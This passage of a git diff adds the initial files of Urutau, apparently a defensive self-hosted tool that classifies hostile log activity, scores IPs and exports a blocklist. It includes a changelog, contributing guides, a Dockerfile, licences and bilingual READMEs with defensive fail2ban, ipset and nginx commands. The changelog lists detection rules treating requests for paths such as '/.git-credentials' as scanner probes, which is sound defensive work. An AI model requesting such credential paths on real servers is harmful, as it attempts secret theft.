ou mais. +- Sessões revogáveis (id aleatório em memória, o logout revoga e fecha o stream ao vivo, o reinício invalida), login e logout cross-site rejeitados, login bloqueado responde 429 mas o token correto ainda entra após 1 segundo de atraso, bearer tokens errados contam, IPv6 limitado por /64, `Referrer-Policy: same-origin`. +- `/api/health` devolve só `{"status":"ok"}`; os caminhos dos arquivos de log nunca aparecem na UI nem para peers. +- Acessos de scanner e exploit respondidos com 2xx ou 3xx pesam 0,5; o nível hostil exige pontuação 50 mais um sinal forte (ferramenta de ataque, duas ou mais categorias, um ban ou um exploit forte recusado); um IP com login SSH bem-sucedido nunca é hostil nem entra na blocklist; a blocklist só traz IPs globalmente roteáveis fora de `--ignore` e `--trusted`; o IPv6 é agregado por /64 e exportado como `x:x:x:x::/64`; até 20.000 IPs rastreados e limite suave de memória de 160 MiB. +- Um domínio só ganha vaga no analytics após uma resposta 2xx; `/.gitignore`, `/.git-credentials` e caminhos parecidos são scanner; snapshots de versões anteriores migram sem perder o histórico de tráfego e domínios inativos são podados; o top de páginas normaliza segmentos com cara de token para `:id`. +- O token de peer só abre `GET /api/v1/peer/export` (as outras rotas respondem 403 a ele, o `URUTAU_TOKEN` recebe 401 ali, e o export é 404 sem token de peer). +- Timeouts do servidor HTTP, `MaxHeaderBytes` de 16 KB, `POST /login` limitado a 4 KB e no máximo 20 clientes do stream ao vivo (503 com `Retry-After`, heartbeat de 20 s). +- Um snapshot corrompido é movido para `urutau-state.gob.corrupt` e o serviço sobe vazio, lendo os logs de novo. +- Compilado com Go 1.26.11, que corrige cinco vulnerabilidades da biblioteca padrão. +- O endereço IP de um visitante legítimo nunca é persistido; visitantes únicos usam um hash com sal diário. +- O conteúdo hostil dos logs tem tamanho limitado e é escapado na saída; o dashboard envia uma Content-Security-Policy estrita e os cabeçalhos de endurecimento usuais. +- `--insecure-no-auth` é recusado a menos que o endereço de bind seja loopback. diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 0000000..14979de --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,38 @@ +# Contributing to Urutau + +**English** · [Português](CONTRIBUTING.pt-BR.md) + +Thanks for helping. Urutau is a lightweight threat intelligence panel for self-hosted servers: it reads logs, classifies hostile activity and scores IPs. The most useful contributions right now are tests, log fixtures, new detection rules and documentation. + +1. **Defensive use only.** Urutau reads logs on servers you own or administer. Do not add features that send traffic to the IPs it lists, scan third parties or hide what the tool does. +2. **Log content is hostile.** Every field that comes from a log (path, User-Agent, user name, host, jail) was written by an attacker. It must be length-limited when parsed, never executed or interpolated into a command, and escaped on output. A new parser comes with tests for malformed and oversized input. +3. **A classification change pins its category.** New or changed detection rules need a test that shows the expected category and, for a weight change, the resulting score. +4. **Standard library first.** The binary is static and dependency-free on purpose. Adding a module needs a clear reason, and `go.sum` then enters the image inputs. +5. **100% English codebase.** Source code, comments, scripts, workflows and commit messages are in English. The dashboard is bilingual (English and Portuguese in `internal/server/web/i18n.js`). + +## Workflow + +```bash +scripts/install-hooks.sh +scripts/check.sh +``` + +`check.sh` validates `gofmt`, `go vet`, UI translation coverage, shell script syntax, workflow YAML files and `docker compose config` in seconds, skipping with a warning whatever the machine lacks. `scripts/check.sh --full` also runs `go test -race ./...` and `govulncheck`. + +## Interface and translation + +Both dictionaries in `internal/server/web/i18n.js` must have exactly the same keys, and visible text in the HTML needs a `data-i18n` attribute. When adding or changing visible text, run `node scripts/check-ui-i18n.mjs` and supply both languages. + +## Documentation + +Always maintain document pairs: every `*.md` and `docs/*` file has an English version and a Portuguese version (`*.pt-BR.md`, `docs/pt-BR/`). File names are translated only when the word changes (for example `architecture.md` and `arquitetura.md`). Do not use em dashes. + +## Commits and releases + +Commits follow Conventional Commits 1.0.0 in English (`feat:`, `fix:`, `chore:`, `ci:`, `docs:`, `refactor:`, `test:`, `perf:`, `build:`). Versions follow SemVer 2.0.0. Update the CHANGELOG in the same pull request as a user-visible change. + +Releases are multi-arch container images (`linux/amd64` and `linux/arm64`) published to the Gitea registry. Pushing a `v*` tag triggers the release workflow, which reuses the image already built for the same inputs when there is one, and creates the Gitea release from the CHANGELOG section. + +## License + +By contributing, you agree to license your work under [MIT](LICENSE-MIT) **or** [Apache-2.0](LICENSE-APACHE), matching the rest of the project. diff --git a/CONTRIBUTING.pt-BR.md b/CONTRIBUTING.pt-BR.md new file mode 100644 index 0000000..2dc6f3d --- /dev/null +++ b/CONTRIBUTING.pt-BR.md @@ -0,0 +1,38 @@ +# Contribuindo com o Urutau + +[English](CONTRIBUTING.md) · **Português** + +Obrigado por ajudar. O Urutau é um painel leve de threat intelligence para servidores self-hosted: lê logs, classifica atividade hostil e pontua IPs. As contribuições mais úteis agora são testes, fixtures de logs, novas regras de detecção e documentação. + +1. **Apenas uso defensivo.** O Urutau lê logs de servidores que você possui ou administra. Não adicione recursos que enviem tráfego aos IPs listados, varram terceiros ou escondam o que a ferramenta faz. +2. **O conteúdo dos logs é hostil.** Todo campo vindo de um log (caminho, User-Agent, usuário, host, jail) foi escrito por um atacante. Ele deve ter tamanho limitado no parse, nunca ser executado ou interpolado em um comando, e ser escapado na saída. Um parser novo vem com testes para entrada malformada e gigante. +3. **Mudança de classificação fixa sua categoria.** Regras de detecção novas ou alteradas precisam de um teste que mostre a categoria esperada e, numa mudança de peso, a pontuação resultante. +4. **Biblioteca padrão primeiro.** O binário é estático e sem dependências de propósito. Adicionar um módulo exige um motivo claro, e então o `go.sum` entra nas entradas da imagem. +5. **Base de código 100% em inglês.** Código-fonte, comentários, scripts, workflows e mensagens de commit são em inglês. O dashboard é bilíngue (inglês e português em `internal/server/web/i18n.js`). + +## Fluxo de trabalho + +```bash +scripts/install-hooks.sh +scripts/check.sh +``` + +O `check.sh` valida `gofmt`, `go vet`, cobertura de tradução da UI, sintaxe dos scripts, YAML dos workflows e `docker compose config` em segundos, pulando com aviso o que faltar na máquina. `scripts/check.sh --full` também roda `go test -race ./...` e `govulncheck`. + +## Interface e tradução + +Os dois dicionários em `internal/server/web/i18n.js` precisam ter exatamente as mesmas chaves, e texto visível no HTML precisa de um atributo `data-i18n`. Ao adicionar ou alterar texto visível, rode `node scripts/check-ui-i18n.mjs` e forneça os dois idiomas. + +## Documentação + +Mantenha sempre os pares de documentos: todo arquivo `*.md` e `docs/*` tem uma versão em inglês e uma em português (`*.pt-BR.md`, `docs/pt-BR/`). Os nomes dos arquivos só são traduzidos quando a palavra muda (por exemplo `architecture.md` e `arquitetura.md`). Não use travessão longo. + +## Commits e releases + +Commits seguem Conventional Commits 1.0.0 em inglês (`feat:`, `fix:`, `chore:`, `ci:`, `docs:`, `refactor:`, `test:`, `perf:`, `build:`). Versões seguem SemVer 2.0.0. Atualize o CHANGELOG no mesmo pull request de uma mudança visível ao usuário. + +Os releases são imagens de container multi-arquitetura (`linux/amd64` e `linux/arm64`) publicadas no registro do Gitea. Enviar uma tag `v*` dispara o workflow de release, que reaproveita a imagem já construída para as mesmas entradas, quando existe, e cria o release no Gitea a partir da seção do CHANGELOG. + +## Licença + +Ao contribuir, você concorda em licenciar seu trabalho sob [MIT](LICENSE-MIT) **ou** [Apache-2.0](LICENSE-APACHE), como o restante do projeto. diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..98ef0a4 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,41 @@ +# syntax=docker/dockerfile:1 +# +# Urutau image: one static binary (no CGO, standard library only) on Alpine. + +# Build stage. +FROM golang:1.26.11-alpine3.24 AS build +WORKDIR /src +COPY go.mod ./ +COPY cmd cmd +COPY internal internal +RUN CGO_ENABLED=0 go build -trimpath -ldflags="-s -w" -o /out/urutau ./cmd/urutau + +# Runtime stage: CA certificates (peers over HTTPS, geo database download) and +# tzdata so TZ can match the host's fail2ban log. The HEALTHCHECK is the binary +# itself (`urutau healthcheck`): no curl in the image. +# Runs unprivileged (uid 10001). To read /var/log/auth.log (group adm) the +# compose file adds the host group with `group_add: ["4"]`. +FROM alpine:3.24 +RUN apk add --no-cache ca-certificates tzdata \ + && addgroup -S -g 10001 urutau \ + && adduser -S -u 10001 -G urutau -h /data -s /sbin/nologin urutau \ + && mkdir -p /data /logs \ + && chown urutau:urutau /data +COPY --from=build /out/urutau /usr/local/bin/urutau +LABEL org.opencontainers.image.title="Urutau" \ + org.opencontainers.image.description="Lightweight, always-on threat intelligence for self-hosted servers" \ + org.opencontainers.image.source="https://git.lucasrguerra.dev.br/ciberfauna/urutau" \ + org.opencontainers.image.licenses="MIT OR Apache-2.0" +ENV URUTAU_BIND=0.0.0.0:8790 \ + URUTAU_DATA_DIR=/data \ + URUTAU_TRAEFIK_LOG=/logs/traefik/access.log \ + URUTAU_AUTH_LOG=/logs/host/auth.log \ + URUTAU_FAIL2BAN_LOG=/logs/host/fail2ban.log +USER urutau +WORKDIR /data +VOLUME /data +EXPOSE 8790 +HEALTHCHECK --interval=30s --timeout=5s --start-period=10s --retries=3 \ + CMD ["urutau", "healthcheck"] +ENTRYPOINT ["urutau"] +CMD ["serve"] diff --git a/LICENSE-APACHE b/LICENSE-APACHE new file mode 100644 index 0000000..d645695 --- /dev/null +++ b/LICENSE-APACHE @@ -0,0 +1,202 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/LICENSE-MIT b/LICENSE-MIT new file mode 100644 index 0000000..3130230 --- /dev/null +++ b/LICENSE-MIT @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 Urutau contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/README.md b/README.md new file mode 100644 index 0000000..e270a95 --- /dev/null +++ b/README.md @@ -0,0 +1,181 @@ +

Urutau

+

Urutau

+

Lightweight, always-on threat intelligence and privacy-friendly web analytics for self-hosted servers.
Go, single static binary · local-first · authorized use.

+ +

Terminal · Interface · Architecture · Configuration · Docker · Support · Roadmap · Changelog

+ +

English · Português

+ +--- + +**Status: stable, v1.0.0.** See [CHANGELOG.md](CHANGELOG.md) for exactly what shipped. + +Urutau is a small panel that runs on each of your servers (as a container), reads the logs the server already writes, and answers one question: who is attacking me right now? It classifies hostile activity, scores every source IP, keeps a rolling window on disk and serves an embedded dashboard, a JSON API and an exportable blocklist. + +- **Reads what already exists:** the Traefik JSON access log, `/var/log/auth.log` (sshd) and `/var/log/fail2ban.log`. No agent on the network path, no packet capture, no telemetry. +- **Classifies:** `scanner`, `exploit`, `bruteforce`, `ssh-fail`, `ssh-probe`, `ban`, plus the benign `ok`, `notfound` and `ssh-ok`. +- **Scores IPs:** every event adds weight to its source IP. A score of 10 or more is **suspicious**; **hostile** needs 50 or more **and** a strong signal (an attack tool, two or more attack categories, a ban, or a clear exploit attempt that was refused). Scanner and exploit probes that got a 2xx or 3xx answer weigh only 0.5. An IP with a successful SSH login is never hostile and never reaches the blocklist. +- **Geolocation, offline:** country, city and ASN for every IP from the free DB-IP Lite databases, downloaded and refreshed by Urutau itself, read by a built-in MMDB reader with no dependency. Nothing is looked up online. +- **Understands User-Agents:** browser, operating system, device, bots and attack tools. +- **Web analytics for legitimate traffic:** unique visitors, pages, referrers, countries, browsers, devices, latency (p50 and p95) and bytes, with a world map, replacing your proxy's analytics. Separate **Threats** and **Traffic** tabs. +- **Lightweight:** Go standard library only, one static binary, a soft memory limit of 160 MiB, state in a single snapshot file. No database. +- **Live dashboard:** embedded vanilla UI (English and Portuguese, light and dark), updated through Server-Sent Events. +- **Blocklist:** hostile, globally routable IPs as plain text or JSON, ready for fail2ban, ipset, nginx or a firewall. IPv6 is aggregated by /64 and exported as `x:x:x:x::/64`. +- **Federation:** one instance (the hub) aggregates others with `--peer name=url`, pulling `/api/v1/peer/export`. + +## How it works + +``` + Traefik access.log auth.log (sshd) fail2ban.log + │ │ │ + └─────────┬───────────┴────────────────────┘ + ▼ + tail + parse (rotation aware, bounded lines) + ▼ + classify ──► score per IP ──► state in memory ──► snapshot (/data) + │ + ┌─────────────────────────┼─────────────────────┐ + ▼ ▼ ▼ + dashboard (SSE) /api/v1/* JSON blocklist.txt / .json + + hub ── GET /api/v1/peer/export (peer token) ──► peer A + │ ── GET /api/v1/peer/export (peer token) ──► peer B + └──► one dashboard for the whole fleet +``` + +## Install + +Run it with Docker Compose (recommended): + +```bash +cp .env.example .env +# set URUTAU_TOKEN (32+ characters, 128+ bits of entropy; `openssl rand -base64 48` works): +sed -i "s|^URUTAU_TOKEN=.*|URUTAU_TOKEN=$(openssl rand -base64 48 | tr -d '\n')|" .env +docker compose pull && docker compose up -d +``` + +The dashboard answers at `http://127.0.0.1:8790` and asks for the token. The image is public: `docker pull git.lucasrguerra.dev.br/ciberfauna/urutau:latest`. Or build it locally with `docker compose up -d --build`. + +To compile from source (Go 1.26.11 or newer, no dependency to fetch): + +```bash +go build -o urutau ./cmd/urutau +URUTAU_TOKEN=$(openssl rand -base64 48) ./urutau serve --data-dir ./data +``` + +Supported platform matrix for container images: `linux/amd64` and `linux/arm64`. See [docs/docker.md](docs/docker.md) for a Coolify deployment. + +## Getting started + +```bash +# Check the sources and the data directory +urutau doctor + +# Run the daemon and the dashboard +urutau serve --bind 127.0.0.1:8790 + +# Aggregate other instances +urutau serve --peer web1=https://urutau.web1.example --peer-token "$URUTAU_PEER_TOKEN" +``` + +See [docs/cli.md](docs/cli.md) for the command reference and [docs/configuration.md](docs/configuration.md) for every `URUTAU_*` variable. + +## Noise and monitoring + +Your own infrastructure produces events too. Two filters keep it out of the picture: + +- `--trusted` / `URUTAU_TRUSTED`: CIDRs of trusted origins (your office, your monitors, your other servers). Their events are dropped entirely. `--ignore` remains as an alias. +- `--monitor-ua` / `URUTAU_MONITOR_UA`: a regular expression matching monitoring User-Agents (the default includes Uptime-Kuma). A request that matches and is benign is not counted as traffic; it feeds a separate "monitoring" counter. If the same request is a `scanner`, `exploit` or `bruteforce`, it counts as an attack, because a User-Agent is trivial to forge. +- `--monitor-from` / `URUTAU_MONITOR_FROM`: CIDRs the monitors really come from. When set, the monitoring User-Agent is honored only from those networks. Without it, only `ok` answers are filtered (a `notfound` from a monitor User-Agent still counts), since anyone can forge the header. +- `--domains` / `URUTAU_DOMAINS`: an allowlist of domains for the Traffic tab (exact names or `*.example.com`). A domain only gets a slot after a 2xx answer, and inactive domains are pruned, so random `Host` headers cannot fill the analytics. + +## Geolocation and attribution + +Urutau shows country, city and ASN for every IP using the free **DB-IP Lite** databases. It downloads them by itself into `--geo-dir` and keeps them updated (`--geo-update`); lookups are local, so no IP is ever sent to a third party. + +> IP geolocation data by [DB-IP](https://db-ip.com), licensed under [CC BY 4.0](https://creativecommons.org/licenses/by/4.0/). + +The attribution is also shown in the dashboard. If you redistribute the databases or anything derived from them, keep it. + +## Privacy + +The **Traffic** tab counts legitimate visitors without tracking them. A unique visitor is a hash computed with a salt that changes every day, so it cannot follow a person from one day to the next, and the IP address of a legitimate visitor is never persisted: not in the snapshot, not in a log, not in an export. IP addresses are kept only for activity classified as hostile, which is what a security tool exists to record. Without cookies, fingerprinting or third-party requests, this is designed to need no consent banner, but whether your use is lawful under the LGPD or the GDPR remains your decision as the controller. See [SECURITY.md](SECURITY.md). + +## Using the blocklist + +The blocklist needs the access token as a bearer token. By default it lists IPs with a score of 50 or more in the last 7 days. + +```bash +curl -fsS -H "Authorization: Bearer $URUTAU_TOKEN" \ + "https://urutau.example/api/v1/blocklist.txt?min_score=50&range=7d" +``` + +**fail2ban** (ban every listed IP, refreshed hourly from cron): + +```bash +curl -fsS -H "Authorization: Bearer $URUTAU_TOKEN" https://urutau.example/api/v1/blocklist.txt \ + | while read -r ip; do fail2ban-client set sshd banip "$ip" >/dev/null; done +``` + +**ipset** (loaded atomically through a temporary set; `family=4` because `hash:ip` holds no IPv6 prefixes, use a `hash:net family inet6` set for `family=6`): + +```bash +ipset create urutau-new hash:ip -exist +ipset flush urutau-new +curl -fsS -H "Authorization: Bearer $URUTAU_TOKEN" https://urutau.example/api/v1/blocklist.txt?family=4 \ + | while read -r ip; do ipset add urutau-new "$ip" -exist; done +ipset create urutau hash:ip -exist +ipset swap urutau-new urutau +iptables -C INPUT -m set --match-set urutau src -j DROP 2>/dev/null \ + || iptables -I INPUT -m set --match-set urutau src -j DROP +``` + +**nginx** (a `deny` list, then `nginx -s reload`): + +```bash +curl -fsS -H "Authorization: Bearer $URUTAU_TOKEN" https://urutau.example/api/v1/blocklist.txt \ + | sed 's/^/deny /; s/$/;/' > /etc/nginx/conf.d/urutau-deny.conf +nginx -t && nginx -s reload +``` + +The list only holds globally routable addresses, never anything in `--ignore` or `--trusted`, and an IPv6 attacker is listed as its /64 prefix (`2001:db8:1:2::/64`), which `ipset hash:net`, nginx `deny` and fail2ban accept. Review the list before automating it: a score is a heuristic, and an IP behind a shared NAT can be innocent. + +## Security + +Urutau handles hostile text by design. Every field it reads from a log (paths, User-Agents, user names, hosts) was written by an attacker: it is length-limited, never executed and always escaped before it reaches the page. The dashboard and the API require a token (`URUTAU_TOKEN`, at least 32 characters, e.g. `openssl rand -base64 48`), the session cookie is `HttpOnly` and `SameSite=Strict`, failed logins are rate limited per IP, and the peer token only opens `GET /api/v1/peer/export`. Put it behind a reverse proxy with TLS before exposing it. See [SECURITY.md](SECURITY.md). + +## Authorized use + +Urutau is defensive software. It only reads logs on servers you own or administer, and it never sends traffic to the IPs it lists. Use the blocklist responsibly, on infrastructure you are authorized to protect. + +## Development + +```bash +go test -race ./... +go vet ./... +scripts/check.sh +``` + +See **[CONTRIBUTING.md](CONTRIBUTING.md)** and **[docs/architecture.md](docs/architecture.md)**. + +## Known limits + +- Only three sources: Traefik JSON access log, sshd lines from `auth.log` (ISO timestamps) and `fail2ban.log`. +- State is kept for 7 days at most (`--retention`), with up to 20,000 tracked IPs. +- The dashboard login is a single shared token; there are no user accounts. +- Scores are heuristics, not proof of malicious intent. + +## Where it's going + +Summary of the [ROADMAP](ROADMAP.md): + +| | | +|---|---| +| **Done (1.0.0)** | Log collection, classification and scoring, offline geolocation, User-Agent parsing, privacy-friendly web analytics, snapshot persistence, dashboard with SSE, token login, blocklist, federation, Docker image and CI/CD | +| **Next** | More log sources, webhook alerts, Prometheus metrics | +| **Later** | IP reputation enrichment, longer retention | +| **Not planned** | Active scanning or counterattack, mandatory cloud services, telemetry | + +## License + +[MIT](LICENSE-MIT) or [Apache-2.0](LICENSE-APACHE), your choice. diff --git a/README.pt-BR.md b/README.pt-BR.md new file mode 100644 index 0000000..91b28ac --- /dev/null +++ b/README.pt-BR.md @@ -0,0 +1,181 @@ +

Urutau

+

Urutau

+

Threat intelligence leve e sempre ligado e web analytics amigável à privacidade para servidores self-hosted.
Go, binário estático único · local-first · uso autorizado.

+ +

Terminal · Interface · Arquitetura · Configuração · Docker · Suporte · Roadmap · Changelog

+ +

English · Português

+ +--- + +**Status: estável, v1.0.0.** Veja o [CHANGELOG.pt-BR.md](CHANGELOG.pt-BR.md) para saber exatamente o que foi entregue. + +O Urutau é um painel pequeno que roda em cada um dos seus servidores (como container), lê os logs que o servidor já escreve e responde a uma pergunta: quem está me atacando agora? Ele classifica a atividade hostil, pontua cada IP de origem, mantém uma janela móvel em disco e serve um dashboard embutido, uma API JSON e uma blocklist exportável. + +- **Lê o que já existe:** o access log JSON do Traefik, `/var/log/auth.log` (sshd) e `/var/log/fail2ban.log`. Sem agente no caminho da rede, sem captura de pacotes, sem telemetria. +- **Classifica:** `scanner`, `exploit`, `bruteforce`, `ssh-fail`, `ssh-probe`, `ban`, além dos benignos `ok`, `notfound` e `ssh-ok`. +- **Pontua IPs:** cada evento soma peso ao IP de origem. Pontuação 10 ou mais é **suspeito**; **hostil** exige 50 ou mais **e** um sinal forte (uma ferramenta de ataque, duas ou mais categorias de ataque, um ban ou uma tentativa clara de exploit recusada). Sondas de scanner e exploit que receberam resposta 2xx ou 3xx pesam só 0,5. Um IP com login SSH bem-sucedido nunca é hostil e nunca vai para a blocklist. +- **Geolocalização offline:** país, cidade e ASN de todo IP a partir das bases gratuitas DB-IP Lite, baixadas e atualizadas pelo próprio Urutau, lidas por um leitor MMDB embutido e sem dependências. Nada é consultado online. +- **Entende User-Agents:** navegador, sistema operacional, dispositivo, bots e ferramentas de ataque. +- **Web analytics do tráfego legítimo:** visitantes únicos, páginas, referrers, países, navegadores, dispositivos, latência (p50 e p95) e bytes, com mapa-múndi, no lugar do analytics do seu proxy. Abas **Ameaças** e **Tráfego** separadas. +- **Leve:** só biblioteca padrão do Go, um binário estático, limite suave de memória de 160 MiB, estado em um único arquivo de snapshot. Sem banco de dados. +- **Dashboard ao vivo:** UI vanilla embutida (inglês e português, claro e escuro), atualizada por Server-Sent Events. +- **Blocklist:** IPs hostis e globalmente roteáveis em texto ou JSON, prontos para fail2ban, ipset, nginx ou firewall. O IPv6 é agregado por /64 e exportado como `x:x:x:x::/64`. +- **Federação:** uma instância (o hub) agrega outras com `--peer nome=url`, puxando `/api/v1/peer/export`. + +## Como funciona + +``` + access.log do Traefik auth.log (sshd) fail2ban.log + │ │ │ + └─────────┬───────────┴────────────────────┘ + ▼ + tail + parse (tolera rotação, linhas limitadas) + ▼ + classifica ──► pontua por IP ──► estado em memória ──► snapshot (/data) + │ + ┌───────────────────────────┼─────────────────────┐ + ▼ ▼ ▼ + dashboard (SSE) /api/v1/* JSON blocklist.txt / .json + + hub ── GET /api/v1/peer/export (token de peer) ──► peer A + │ ── GET /api/v1/peer/export (token de peer) ──► peer B + └──► um dashboard para a frota inteira +``` + +## Instalação + +Rode com Docker Compose (recomendado): + +```bash +cp .env.example .env +# defina URUTAU_TOKEN (32+ caracteres, 128+ bits de entropia; `openssl rand -base64 48` serve): +sed -i "s|^URUTAU_TOKEN=.*|URUTAU_TOKEN=$(openssl rand -base64 48 | tr -d '\n')|" .env +docker compose pull && docker compose up -d +``` + +O dashboard responde em `http://127.0.0.1:8790` e pede o token. A imagem é pública: `docker pull git.lucasrguerra.dev.br/ciberfauna/urutau:latest`. Ou construa localmente com `docker compose up -d --build`. + +Para compilar do código-fonte (Go 1.26.11 ou mais novo, sem dependência para baixar): + +```bash +go build -o urutau ./cmd/urutau +URUTAU_TOKEN=$(openssl rand -base64 48) ./urutau serve --data-dir ./data +``` + +Matriz de plataformas das imagens: 